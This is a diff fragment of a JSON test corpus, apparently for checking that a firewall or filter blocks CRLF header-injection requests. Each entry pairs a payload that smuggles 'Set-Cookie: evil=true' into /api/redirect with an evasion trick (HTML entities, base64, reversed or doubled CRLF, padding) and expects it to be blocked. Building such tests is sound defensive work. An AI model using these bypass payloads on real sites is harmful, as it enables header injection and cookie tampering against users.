+ "id": "CRLF-HTML-ENTITY-001",
490
+ "payload": "GET /api/redirect?url=http://example.com&#13;&#10;Set-Cookie:%20evil=true HTTP/1.1",
491
+ "tags": ["crlf", "html-entity", "bypass", "high"],
492
+ "expected_block": true,
493
+ "severity_hint": "High",
494
+ "notes": "HTML entity encoded CRLF (decimal)",
495
+ "category": "Injection"
496
+ },
497
+ {
498
+ "id": "CRLF-HTML-ENTITY-002",
499
+ "payload": "GET /api/redirect?url=http://example.com&#x0d;&#x0a;Set-Cookie:%20evil=true HTTP/1.1",
500
+ "tags": ["crlf", "html-entity", "hex", "bypass", "high"],
501
+ "expected_block": true,
502
+ "severity_hint": "High",
503
+ "notes": "HTML entity encoded CRLF (hexadecimal)",
504
+ "category": "Injection"
505
+ },
506
+ {
507
+ "id": "CRLF-BASE64-001",
508
+ "payload": "GET /api/decode?data=aHR0cDovL2V4YW1wbGUuY29tDQpTZXQtQ29va2llOiBldmlsPXRydWU= HTTP/1.1",
509
+ "tags": ["crlf", "base64", "encoded", "high"],
510
+ "expected_block": true,
511
+ "severity_hint": "High",
512
+ "notes": "Base64 encoded CRLF payload",
513
+ "category": "Injection"
514
+ },
515
+ {
516
+ "id": "CRLF-DOUBLE-CRLF-001",
517
+ "payload": "GET /api/redirect?url=http://example.com%0d%0d%0a%0aSet-Cookie:%20evil=true HTTP/1.1",
518
+ "tags": ["crlf", "double-crlf", "bypass", "high"],
519
+ "expected_block": true,
520
+ "severity_hint": "High",
521
+ "notes": "Double CRLF sequence bypass attempt",
522
+ "category": "Injection"
523
+ },
524
+ {
525
+ "id": "CRLF-REVERSE-001",
526
+ "payload": "GET /api/redirect?url=http://example.com%0a%0dSet-Cookie:%20evil=true HTTP/1.1",
527
+ "tags": ["crlf", "reverse", "lf-cr", "high"],
528
+ "expected_block": true,
529
+ "severity_hint": "High",
530
+ "notes": "Reversed LF-CR instead of CR-LF",
531
+ "category": "Injection"
532
+ },
533
+ {
534
+ "id": "CRLF-FRAGMENT-001",
535
+ "payload": "GET /api/redirect?url=http://example.com#fragment%0d%0aSet-Cookie:%20evil=true HTTP/1.1",
536
+ "tags": ["crlf", "fragment", "bypass", "high"],
537
+ "expected_block": true,
538
+ "severity_hint": "High",
539
+ "notes": "CRLF after URL fragment",
540
+ "category": "Injection"
541
+ },
542
+ {
543
+ "id": "CRLF-QUERY-001",
544
+ "payload": "GET /api/redirect?url=http://example.com?query=1%0d%0aSet-Cookie:%20evil=true HTTP/1.1",
545
+ "tags": ["crlf", "query-string", "high"],
546
+ "expected_block": true,
547
+ "severity_hint": "High",
548
+ "notes": "CRLF in URL with existing query string",
549
+ "category": "Injection"
550
+ },
551
+ {
552
+ "id": "CRLF-PADDING-001",
553
+ "payload": "GET /api/redirect?url=http://example.com%20%20%20%0d%0aSet-Cookie:%20evil=true HTTP/1.1",
554
+ "tags": ["crlf", "padding", "whitespace", "high"],
555
+ "expected_block": true,
556
+ "severity_hint": "High",
557
+ "notes": "Whitespace padding before CRLF",
558
+ "category": "Injection"
559
+ },
560
+ {
561
+ "id": "CRLF-COMMENT-001",
562
+ "payload": "GET /api/redirect?url=http://example.com/*comment*/%0d%0aSet-Cookie:%20evil=true HTTP/1.1",
563
+ "tags": ["crlf", "comment", "bypass", "high"],
564
+ "expected_block": true,
565
+ "severity_hint": "High",
566
+ "notes": "Comment-style chars before CRLF",
567
+ "category": "Injection"
568
+ }
569
+ ]